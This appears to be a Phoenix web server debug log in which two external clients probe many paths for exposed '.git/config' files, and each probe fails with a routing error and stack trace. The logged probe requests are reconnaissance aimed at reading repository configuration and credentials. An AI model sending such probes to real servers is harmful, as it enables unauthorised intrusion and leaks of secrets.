    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.150000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35774] GET /html/.git/config
[Sat Sep  5 11:03:47.152000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35650] ** (Phoenix.Router.NoRouteError) no route found for GET /app/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.153000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35750] GET /backend/.git/config
[Sat Sep  5 11:03:47.179000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35774] ** (Phoenix.Router.NoRouteError) no route found for GET /html/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.181000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35750] ** (Phoenix.Router.NoRouteError) no route found for GET /backend/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:03:47.195000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.53.183.237:35758] GET /htdocs/.git/config
[Sat Sep  5 11:03:47.212000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.53.183.237:35758] ** (Phoenix.Router.NoRouteError) no route found for GET /htdocs/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1625.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 11:11:01.904000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:01.907000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:01.910000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:01.911000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:01.916000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:01.917000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:01.923000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:01.933000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:01.943000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:01.974000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:02.004000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:02.020000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 11:11:02.502000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:50930] GET /app/.git/config
[Sat Sep  5 11:11:02.658000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:51012] GET /wordpress/.git/config
[Sat Sep  5 11:11:02.732000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:50930] ** (Phoenix.Router.NoRouteError) no route found for GET /app/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:02.882000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:51012] ** (Phoenix.Router.NoRouteError) no route found for GET /wordpress/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.011000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:50944] GET /.git/config
[Sat Sep  5 11:11:03.039000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:50944] ** (Phoenix.Router.NoRouteError) no route found for GET /.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.057000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:50988] GET /public/.git/config
[Sat Sep  5 11:11:03.095000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:50988] ** (Phoenix.Router.NoRouteError) no route found for GET /public/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.098000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:50922] GET /src/.git/config
[Sat Sep  5 11:11:03.109000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:50996] GET /site/.git/config
[Sat Sep  5 11:11:03.158000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:50974] GET /html/.git/config
[Sat Sep  5 11:11:03.167000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:51020] GET /var/www/.git/config
[Sat Sep  5 11:11:03.176000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:50932] GET /www/.git/config
[Sat Sep  5 11:11:03.177000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:50958] GET /backend/.git/config
[Sat Sep  5 11:11:03.186000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:50956] GET /api/.git/config
[Sat Sep  5 11:11:03.195000 2026] [Phoenix.Logger:info] [pid 2816631] [client 136.115.34.245:51022] GET /htdocs/.git/config
[Sat Sep  5 11:11:03.283000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:50922] ** (Phoenix.Router.NoRouteError) no route found for GET /src/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.293000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:50996] ** (Phoenix.Router.NoRouteError) no route found for GET /site/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.365000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:51020] ** (Phoenix.Router.NoRouteError) no route found for GET /var/www/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.372000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:50974] ** (Phoenix.Router.NoRouteError) no route found for GET /html/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.378000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:50958] ** (Phoenix.Router.NoRouteError) no route found for GET /backend/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.386000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:50956] ** (Phoenix.Router.NoRouteError) no route found for GET /api/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 11:11:03.391000 2026] [Plug.Debugger:debug] [pid 2816631] [client 136.115.34.245:51022] ** (Phoenix.Router.NoRouteError) no route found for GET /htdocs/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
